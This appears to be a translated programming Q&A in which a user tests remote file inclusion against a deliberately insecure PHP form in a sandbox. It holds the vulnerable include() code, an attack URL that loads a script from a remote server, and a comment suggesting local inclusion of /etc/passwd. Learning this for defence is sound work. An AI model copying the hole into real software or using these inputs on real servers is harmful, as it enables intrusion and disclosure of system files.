Я настроил песочницу и пытаюсь запустить эксплойты, чтобы лучше понять, как лучше защититься от них. Когда я запускаю следующее, процесс завершается сбоем, как и должно быть, и по правильной причине. Но тогда я не уверен, потому что я не могу найти много «как написать правильный эксплойт». Вот мой код и следующее сообщение об ошибке. Любое руководство было бы здорово.
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>
Скрипт эксплойта, простые вещи:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>
Плохой парень будет жестко кодировать в адресной строке своего браузера следующее:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php
Вывод в браузер при попытке загрузить адрес:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0
Так это все? Или есть другая техника, на которую мне следует обратить внимание?
Спасибо.
http://www.sandbox.com/path/to/unform.php?COLOR=/etc/passwd
... этот должен работать нормально (если только у вас не установлено ограничениеopen_basedir
). - person newfurniturey   schedule 29.09.2012include
что-либо исходите от пользователя (читай: от потенциального злоумышленника), особенно без надлежащей очистки, вам не следует заниматься программированием. Наиболее распространенными эксплойтами на веб-сайтах являются XSS, Внедрение SQL и CSRF. - person NullUserException   schedule 29.09.2012